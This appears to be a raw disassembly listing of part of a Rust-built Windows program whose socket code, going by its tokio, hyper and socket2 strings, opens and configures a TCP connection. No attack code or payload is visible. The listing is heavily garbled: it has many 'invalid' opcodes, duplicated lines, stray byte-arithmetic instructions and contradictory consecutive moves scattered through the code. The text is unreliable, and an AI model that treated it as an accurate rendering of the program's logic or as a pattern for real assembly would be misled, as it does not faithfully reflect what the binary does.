shl rdi, 0x20
or rdi, rax
mov rax, qword [rsi + 0x50]
push rax
push rax
mov qword [rsp + 0x118], rax
mov rax, qword [rsi + 0x58]
mov qword [rsp + 0x110], rax
mov rax, qword [rsi + 0x60]
invalid
invalid
mov qword [rsp + 0x108], rax
test bp, bp
mov eax, 2
mov ecx, 0x17
cmove ecx, eax
mov rax, qword [0x1401821c8]
cmp rax, 3
jne 0x1400b7bff
or al, byte [rax]
invalid
invalid
or al, byte [rax]
add bh, al
and al, 0x28
add dword [rax], 0x44c70000
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
and al, 0x20
add byte [rax], al
add byte [rax], al
mov edx, 1
mov r8d, 6
xor r9d, r9d
leave
leave
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x1400b7d0a
mov r14, rax
mov dword [rsp + 0x60], 1
lea r8, [rsp + 0x60]
mov rcx, rax
mov edx, 0x8004667e
add al, 0x80
add al, 0x80
call qword [sym.imp.ws2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
je 0x1400b7d80
clc
dec dword [rdi]
test byte [0x1840b7170], bl
mov dword [rsp + 0x54], esp
mov dword [rsp + 0x54], r12d
mov qword [rsp + 0x100], r15
mov r12d, dword [rbx + 0x48]
cmp r12d, 0x3b9aca00
je 0x1400b72b3
mov r15, qword [rbx + 0x40]
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x60]
mov rcx, r14
mov edx, 0xffff
inc dword [rax]
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
inc dword [rax]
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400b724f
cwde
add byte [rax], al
invalid
cwde
add byte [rax], al
add byte [rcx + 0x3e8], bh
mov ecx, 0x3e8
mov rax, r15
mul rcx
mov ecx, r12d
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
shr rcx, 0x32
add rcx, rax
adc rdx, 0
mov eax, 0xffffffff
cmp rcx, rax
cmovae rcx, rax
xor r15d, r15d
neg rdx
mov eax, 0
sbb eax, eax
or eax, ecx
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x64], eax
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x50], 0
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x38
push rdi
ror byte [rdi], 0x11
and al, 0x38
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add byte [rax], al
add byte [rax], al
lea r8, [rsp + 0x60]
mov rcx, r14
mov edx, 0x98000004
mov r9d, 0xc
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
jne 0x1400b7260
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15d, eax
shl r15, 0x20
or r15, 2
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x1400b72b3
lea r12, [r15 - 1]
mov r13, qword [r15 - 1]
mov r15, qword [r15 + 7]
mov rcx, r13
call qword [r15]
cmp qword [r15 + 8], 0
je 0x1400b72a1
cmp qword [r15 + 0x10], 0x11
jb 0x1400b728f
mov r13, qword [r13 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
test bp, bp
je 0x1400b732f
mov ax, 0x17
mov r8d, 0x1c
add byte [rcx - 0x48], al
sbb al, 0
add byte [rax], al
cmp byte [rbx + 0x56], 0
mov r12d, dword [rsp + 0x54]
jnp 0x1400b731b
add byte [rbx + rcx*4 + 0x64], al
and al, 0x54
je 0x1400b73a1
add byte [rax], al
movups xmm0, xmmword [rbx + 0x57]
movups xmmword [rsp + 0x68], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
and al, 0x78
and al, 0x78
movups xmmword [rsp + 0x88], xmm0
adc dword [rsp + 0x88], eax
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0x60], 0x17
mov dword [rsp + 0x60], 0x17
mov dword [rsp + 0x60], 0x17
invalid
mov dword [rsp + 0xe0], 0x1c
jmp 0x1400b73fe
mov ax, 2
mov r8d, 0x10
add byte [rax], al
cmp byte [rbx + 0x51], 0
mov r12d, dword [rsp + 0x54]
je 0x1400b73a1
pop rbp
pop rbp
mov eax, dword [rbx + 0x52]
xorps xmm0, xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0xb8], xmm0
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xa8], eax
adc dword [rsp + 0xa8], eax
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0x88], xmm0
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x88], eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0xd8], 0
add bh, al
and al, 0x60
add al, byte [rax]
add byte [rax], al
add bh, al
and al, 0x60
add al, byte [rax]
add byte [rax], al
mov dword [rsp + 0x64], eax
mov dword [rsp + 0xe0], 0x10
jmp 0x1400b73fe
xorps xmm0, xmm0
movups xmmword [rsp + 0xc8], xmm0
and al, 0xc8
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xb8], eax
ror byte [rdi], 0x11
test byte [rax + rcx*8], ah
and al, 0xc8
and al, 0xc8
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xb8], eax
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0x88], xmm0
and al, 0x88
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x78], eax
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0xd8], 0
mov dword [rsp + 0xd8], 0
mov word [rsp + 0x60], ax
mov word [rsp + 0x62], 0
mov dword [rsp + 0x64], 0
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], al
mov dword [rsp + 0xe0], eax
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], al
mov dword [rsp + 0xe0], eax
lea rdx, [rsp + 0x60]
mov dword [rsp + 0xe0], eax
lea rdx, [rsp + 0x60]
mov rcx, r14
call qword [sym.imp.ws2_32.dll_bind]
xor r13d, r13d
test eax, eax
je 0x1400b7424
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
test r13, r13
jne 0x1400b7ded
cmp byte [rbx + 0x68], 0
je 0x1400b7461
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x60]
mov rcx, r14
mov edx, 0xffff
mov r8d, 4
call qword [sym.imp.ws2_32.dll_setsockopt]
adc eax, 0x5b18c
cmp eax, 0xffffffff
je 0x1400b74a9
cmp qword [rbx], 0
je 0x1400b74b5
mov rax, qword [rbx + 8]
mov ecx, 0xffffffff
cmp rax, rcx
cmovb rcx, rax
mov dword [rsp + 0x60], ecx
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x60]
invalid
mov rcx, r14
mov edx, 0xffff
mov r8d, 0x1001
call qword [sym.imp.ws2_32.dll_setsockopt]
add byte [rbx + 0x1475fff8], al
invalid
add byte [rbx + 0x1475fff8], al
call qword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1400b74b5
cmp qword [rbx], 0
jne case.0x140096f06.137
cmp qword [rbx + 0x10], 0
je case.default.0x1400b7609
mov rax, qword [rbx + 0x18]
mov ecx, 0xffffffff
cmp rax, rcx
cmovb rcx, rax
mov dword [rsp + 0x60], ecx
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x60]
mov rcx, r14
mov edx, 0xffff
mov r8d, 0x1002
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne case.default.0x1400b7609
call qword [sym.imp.kernel32.dll_GetLastError]
shl rdi, 0x10
or rdi, rbp
lea r15, [rsi + 0x68]
mov rax, qword [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov qword [rsi + 0x68], rax
mov dword [rsi + 0x70], r12d
mov qword [rsi + 0x78], rdi
mov rax, qword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
mov qword [rsi + 0x80], rax
mov rax, qword [rsp + 0x110]
mov eax, dword [rsp + 0x110]
mov qword [rsi + 0x88], rax
mov rax, qword [rsp + 0x108]
mov qword [rsi + 0x90], rax
mov qword [rsi + 0x98], r14
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
xor byte [rcx], al
add byte [rax], al
xor byte [rcx], al
add byte [rax], al
movups xmm2, xmmword [rsp + 0x140]
adc byte [rsp + 0x140], dl
movups xmm3, xmmword [rsp + 0x150]
movups xmmword [rsi + 0xa0], xmm0
movups xmmword [rsi + 0xb0], xmm1
add byte [rax], al
add byte [rax], al
movups xmmword [rsi + 0xc0], xmm2
movups xmmword [rsi + 0xd0], xmm3
movups xmm0, xmmword [rsp + 0x160]
movups xmmword [rsi + 0xe0], xmm0
add dh, al
xchg al, dh
add byte [rax], al
add byte [rax], al
add dh, al
xchg al, dh
add byte [rax], al
add byte [rax], al
mov eax, dword [rsp + 0xf9]
mov ecx, dword [rsp + 0xfc]
cld
add byte [rax], al
add byte [rcx + 0xf186], cl
add byte [rax], al
cld
add byte [rax], al
add byte [rcx + 0xf186], cl
add byte [rax], al
mov dword [rsi + 0xf4], ecx
mov byte [rsi + 0xf8], 0
add byte [rax], al
mov dword [rsi + 0xf4], ecx
mov byte [rsi + 0xf8], 0
invalid
lea rcx, [rsi + 0xf9]
lea rdx, [rsp + 0x1b0]
xchg esp, eax
and al, 0xb0
add dword [rax], eax
add byte [rcx - 0x48], al
test dword [rax], 0x74e80000
in al, dx
add al, 0
invalid
xchg esp, eax
and al, 0xb0
add dword [rax], eax
add byte [rcx - 0x48], al
test dword [rax], 0x74e80000
in al, dx
add al, 0
invalid
add byte [rbp + rcx*4 - 0x4a], cl
lea r14, [rsi + 0x1f0]
mov r8d, 0x188
lock add dword [rax], eax
add byte [rcx - 0x48], al
mov byte [rcx], al
add byte [rax], al
mov rcx, r14
mov rdx, r15
call fcn.140106250
movzx eax, byte [rsi + 0x280]
add byte [rdx], 0
add byte [rax - 0x73], cl
or eax, 0xc095a
or dword [rax + rax], ecx
add byte [rdx], 0
add byte [rax - 0x73], cl
or eax, 0xc095a
or dword [rax + rax], ecx
or dword [rax + rax], ecx
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov edi, dword [rsi + 0x1f8]
lea rax, [rsi + 0x200]
cmp edi, 0x3b9aca00
jne 0x1400b76e1
invalid
invalid
add byte [rax], al
invalid
test dword [rbp + 0xf000000], edi
add byte [rdi], cl
movups xmm0, xmmword [rax + 0x70]
adc byte [rax + 0x70], al
movups xmmword [rsi + 0x2f8], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rsi + 0x2e8], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rsi + 0x2d8], xmm0
adc dword [rsi + 0x2d8], eax
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rsi + 0x2c8], xmm0
xchg al, cl
add al, byte [rax]
add byte [rdi], cl
adc byte [rax], al
xchg al, cl
add al, byte [rax]
add byte [rdi], cl
adc byte [rax], al
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [rsi + 0x2b8], xmm3
movups xmmword [rsi + 0x2a8], xmm2
adc dword [rsi + 0x2a8], edx
adc dword [rsi + 0x2a8], edx
movups xmmword [rsi + 0x298], xmm1
movups xmmword [rsi + 0x288], xmm0
lea rdx, [rsi + 0x288]
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x58]
call fcn.1400b86b0
mov rbp, qword [rsp + 0x60]
cmp rbp, 3
je 0x1400b7c63
mov r15, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
movzx eax, byte [rsi + 0x300]
cmp eax, 3
je 0x1400b77a8
test eax, eax
jne 0x1400b7a76
mov rcx, qword [rsi + 0x2a8]
call qword [sym.imp.ws2_32.dll_closesocket]
jmp 0x1400b7a76
add byte [rax], al
add byte [rax], al
mov rbx, qword [r14]
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x90], xmm3
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], edx
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], edx
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
call fcn.1400dfa40
add rax, rbx
jae 0x1400b77b9
call fcn.1400dfa40
add rax, 0x38640900
jb 0x1400b7f25
mov r8d, edx
cmp edx, 0x3b9aca00
jb 0x1400b779f
inc rax
je 0x1400b7f25
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
jb 0x1400b779f
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x1400b7f49
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
leave
add dl, cl
invalid
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_time_sleep.rs
jmp 0x1400b77df
lea rcx, [rsi + 0x2b8]
call fcn.1400b85a0
jmp 0x1400b7a76
mov r8d, edx
add r8d, edi
cmp r8d, 0x3b9aca00
jb 0x1400b77d8
inc rax
je 0x1400b7747
add r8d, 0xc4653600
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0x120]
mov rdx, rax
call 0x1400f41d0
movaps xmm0, xmmword [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
movaps xmmword [rsp + 0x290], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
rol byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x280], eax
rol byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x280], eax
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x270], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x260], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmm2, xmmword [rsp + 0x80]
movaps xmm3, xmmword [rsp + 0x90]
pushfq
and al, 0x90
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x250], ebx
pushfq
and al, 0x90
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x250], ebx
movaps xmmword [rsp + 0x240], xmm2
add byte [rax], al
movaps xmmword [rsp + 0x230], xmm1
movaps xmmword [rsp + 0x220], xmm0
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
movups xmm2, xmmword [rsp + 0x140]
movups xmm3, xmmword [rsp + 0x150]
add byte [rax], al
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1d0], xmm2
xchg esp, eax
and al, 0xd0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1e0], ebx
xchg esp, eax
and al, 0xd0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1e0], ebx
movups xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x1f0], xmm0
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x200], xmm0
test byte [rax + rax], ah
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x180], al
test byte [rax + rax], ah
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x180], al
movaps xmmword [rsp + 0x210], xmm0
lea rcx, [rsi + 0x288]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xb0
add dword [rax], eax
add byte [rcx - 0x48], al
lock add byte [rax], al
add al, ch
pop rbp
invalid
add al, 0
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xb0
add dword [rax], eax
add byte [rcx - 0x48], al
lock add byte [rax], al
add al, ch
pop rbp
jmp 0xcd5778f9
invalid
invalid
lea r13, [rsi + 0x288]
lea rdx, [rsi + 0x2f8]
mov eax, dword [0x140182314]
or al, 0
or al, 0
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rax], al
add byte [rax], al
cmp eax, 1
je 0x1400b795c
xor edi, edi
test eax, eax
jne 0x1400b7987
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rax, [0x1400e42d0]
mov rdi, rdx
mov rdx, rax
call fcn.1400d4a00
mov rdx, rdi
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11c], 0
setne cl
cmp byte [rax + 0x11d], 0
sete dil
and dil, cl
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
call fcn.1400b86b0
mov rbp, qword [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
insb byte [rdi], dx
and al, 0x60
cmp rbp, 3
jne 0x1400b7a57
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400b79f5
test eax, eax
jne 0x1400b7a2d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
add dh, al
and dword [rax], 1
add byte [rax], al
invalid
add dh, al
and dword [rax], 1
add byte [rax], al
add dword [rbx + 0xca91905], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x11c]
add dword [rax], eax
add byte [rbx + rbx*8 - 0x7f3e6bf1], al
test bl, bl
sete cl
cmp byte [rax + 0x11d], 0
setne al
or al, cl
test bl, bl
sete cl
cmp byte [rax + 0x11d], 0
setne al
or al, cl
or dil, al
cmp dil, 1
cmp bh, 1
jne 0x1400b7b67
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax]
mov rcx, r13
jmp 0x143d57e24
invalid
jmp 0x143d57e24
test al, al
jne case.0x14005cd83.373
mov rcx, r13
call fcn.1400b8630
call fcn.1400b95e0
mov r15, rax
jmp 0x1400b7a7f
mov r15, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
invalid
jl 0x1400b7a7f
push 0x247c8b48
jo 0x1400b7aae
mov esp, dword [rsp + 0x78]
js case.0x1400656b8.363
mov rbx, qword [rsp + 0x80]
mov ebx, dword [rsp + 0x80]
add byte [rax], al
mov rcx, r13
call fcn.1400b8630
cmp ebp, 2
jne 0x1400b7c42
movzx eax, byte [0x140182310]
mov edx, 0x11
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b7f16
jnp 0x1400b7a9d
add byte [rax], al
jnp 0x1400b7a9d
add byte [rax], al
mov r12, rax
movups xmm0, xmmword [0x140140513]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x72
movzx eax, byte [0x140182310]
pop rbp
test al, 0xc
invalid
invalid
add eax, 0xca85d
pop rbp
test al, 0xc
add byte [rdx + 8], bh
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
add dword [rdx], 0xc0854800
add dword [rdx], 0xc0854800
je case.0x140079503.284
mov r13, rax
mov qword [rax], r15
mov byte [rsi + 0x280], 1
add al, byte [rax]
add byte [rcx], al
add al, byte [rax]
add byte [rcx], al
mov rcx, r14
call fcn.1400b7fc0
add byte [rax], al
add byte [rax], al
mov r8, qword [rsi + 0x20]
test r8, r8
je 0x1400b7b32
invalid
cmp qword [rsi + 0x28], 0
cmp qword [rsi + 0x28], 0
je 0x1400b7afc
mov rcx, qword [0x140182260]
or eax, 0xca76c
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5a864
adc eax, 0x5a864
mov r14, qword [rsi + 0x30]
test r14, r14
je 0x1400b7b32
mov rdi, qword [rsi + 0x38]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400b7b32
cmp qword [rdi + 0x10], 0x11
jb 0x1400b7b20
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi + 0x20], r12
mov qword [rsi + 0x28], 0x11
mov qword [rsi + 0x30], r13
lea rax, [0x14013cdd0]
or byte [rax], al
or byte [rax], al
mov qword [rsi + 0x38], rax
mov rax, qword [rsi + 0x40]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 8]
mov r15, r12
cmp rcx, qword [rax + 0x18]
jne 0x1400b7062
jmp 0x1400b703c
invalid
hlt
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
mov byte [rdi + 0x11c], 0
mov rax, qword [rsp + 0x58]
xchg dword [rcx + rax], ebx
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x58
mov rdx, qword [rax]
mov edx, dword [rax]
mov rcx, r13
call fcn.1400f4440
movzx ecx, byte [rdi + 0x120]
cmp ecx, 1
add byte [rbx + 0x367401f9], al
je 0x1400b7bd3
test ecx, ecx
jne 0x1400b7bf3
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r15, qword [rdx + rcx*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e42d0]
mov edi, eax
invalid
call fcn.1400d4a00
mov eax, edi
mov byte [r15 + 0x120], 1
invalid
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], bl
mov byte [rcx + 0x11d], 0
add dword [rax], eax
add byte [rax], al
sbb dword [0x1400b7bf8], 0x840fc084
invalid
add dword [rax], eax
add byte [rax], al
test al, al
je 0x1400b7a45
mov al, 3
jmp 0x1400b7c65
mov byte [rsp + 0x50], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_socket2_0.5.6_src_syswindows.rs
or dword [rax], eax
or dword [rax], eax
mov qword [rsp + 0x20], rax
lea rax, [0x1401821c8]
lea r9, [0x140148410]
lea r8, [rsp + 0x60]
mov r14d, ecx
mov rcx, rax
mov ecx, eax
mov ecx, eax
xor edx, edx
call fcn.14010f9a0
mov ecx, r14d
jmp 0x1400b710e
mov byte [rsi + 0x280], 1
add al, byte [rax]
add byte [rcx], al
mov rcx, r14
call fcn.1400b7fc0
mov r8, qword [rsi + 0x20]
test r8, r8
jne 0x1400b7e82
add al, byte [rax]
invalid
add al, byte [rax]
add cl, ch
insd dword [rdi], dx
add al, byte [rax]
add byte [rax - 0x7f7977fc], dh
add al, byte [rax]
add byte [rax], al
mov rax, qword [rsp + 0xf0]
mov qword [rax], 3
mov dword [rax], 3
mov al, 3
jmp 0x1400b7eed
jmp 0x1400b7ed0
mov al, 4
mov byte [rsi + 0x280], al
add byte [rax], al
mov rax, qword [rsp + 0xf0]
mov qword [rax], 3
mov dword [rax], 3
mov dword [rax], 3
mov al, 3
jmp 0x1400b7eed
mov r15, qword [rsi + 0x20]
test r15, r15
jne 0x1400b7045
invalid
mov bh, 0xf3
invalid
invalid
lea rdx, str.Network_unreachabletcp_connect_error
mov r8d, 0x13
add byte [rax], al
mov cl, 7
call fcn.140095880
mov rbx, rax
movzx eax, byte [0x140182310]
add eax, 0xca664
add eax, 0xca664
add byte [rdx + 0x11], bh
mov edx, 0x11
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b7f16
mov r15, rax
movups xmm0, xmmword [0x140140513]
mov byte [rax], cl
add byte [rdi], cl
adc dword [rax], eax
mov byte [rax], cl
add byte [rdi], cl
adc dword [rax], eax
mov byte [rax + 0x10], 0x72
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je case.0x140079503.284
mov r12, rax
mov qword [rax], rbx
lea rbx, [0x14013cdd0]
or byte [rax], al
mov edi, 0x11
add byte [rbp + 2], bh
mov ebp, 2
jmp 0x1400b7ed0
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
movzx eax, byte [0x140182310]
mov edx, 0xe
add byte [rdx + 0xe], bh
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
ror byte [rdi], 0x84
invalid
add al, byte [rax]
invalid
ror byte [rdi], 0x84
invalid
test byte [rcx + 2], ah
add byte [rax], al
mov r15, rax
movabs rax, 0x726f727265206e65
mov qword [r15 + 6], rax
movabs rax, 0x6e65706f20706374
mov qword [r15], rax
movzx eax, byte [0x140182310]
invalid
movsd dword [rdi], dword [rsi]
or al, 0
mov ebp, 0xba000ca5
or byte [rax], al
add byte [rax], al
invalid
mov edx, 8
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je case.0x140079503.284
mov r12, rax
shl rbx, 0x20
or rbx, 2
mov qword [rax], rbx
mov edi, 0xe
add byte [rax], al
add cl, ch
int 0
add byte [rax], al
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
movzx eax, byte [0x140182310]
mov edx, 0x19
add byte [rcx], dh
leave
call fcn.1400dfbe0
jle 0x1400b7d9c
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cli
add dword [rax], eax
invalid
add byte [rcx - 0x77], cl
invalid
mov r15, rax
movups xmm0, xmmword [0x14012bf89]
adc byte [0x14012bf89], al
adc byte [0x14012bf89], al
add eax, 0x741db
movups xmmword [rax + 9], xmm0
adc dword [rax + 9], eax
movups xmm0, xmmword [str.tcp_set_nonblocking_errortcp_bind_local_error]
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 8
add byte [rcx], dh
leave
add byte [rcx], dh
leave
call fcn.1400dfbe0
test rax, rax
je case.0x140079503.284
adc dword [rsi + 2], edi
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
mov r12, rax
shl rbx, 0x20
or rbx, 2
retf
add cl, byte [rax - 0x77]
sbb byte [rdi + 0x19], bh
add byte [rax], al
jmp 0x1400b7e44
retf
movzx eax, byte [0x140182310]
mov edx, 0x14
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je case.0x1400a9339.71
mov r15, rax
movups xmm0, xmmword [0x14012bf99]
xchg byte [rcx + 7], al
add byte [rdi], cl
adc dword [rax], eax
xchg byte [rcx + 7], al
add byte [rdi], cl
adc dword [rax], eax
mov dword [rax + 0x10], 0x726f7272
movzx eax, byte [0x140182310]
add eax, 0xca4ec
add eax, 0xca4ec
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je case.0x140079503.284
mov r12, rax
mov qword [rax], r13
mov dword [rax], ebp
mov dword [rax], ebp
mov edi, 0x14
mov rcx, r14
call qword [sym.imp.ws2_32.dll_closesocket]
mov qword [rsi + 0x78], r15
mov qword [rsi + 0x80], rdi
mov qword [rsi + 0x88], r12
mov dword [rsi + 0x88], esp
add byte [rax], al
lea rbx, [0x14012a648]
lea ebx, [0x14012a648]
invalid
mov qword [rsi + 0x90], rbx
mov dword [rsi + 0x70], 0x3b9aca01
mov ebp, 2
mov r8, qword [rsi + 0x20]
test r8, r8
je 0x1400b7ed0
jo 0x1400b7e72
retf 0x3b9a
invalid
cmp qword [rsi + 0x28], 0
je 0x1400b7e98
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movabs dword [0xa4c815ffd231000c], eax
add eax, 0x768b4c00
xor byte [rbp - 0x7b], cl
div byte [rdi + rbp + 0x4c]
mov r13, qword [rsi + 0x38]
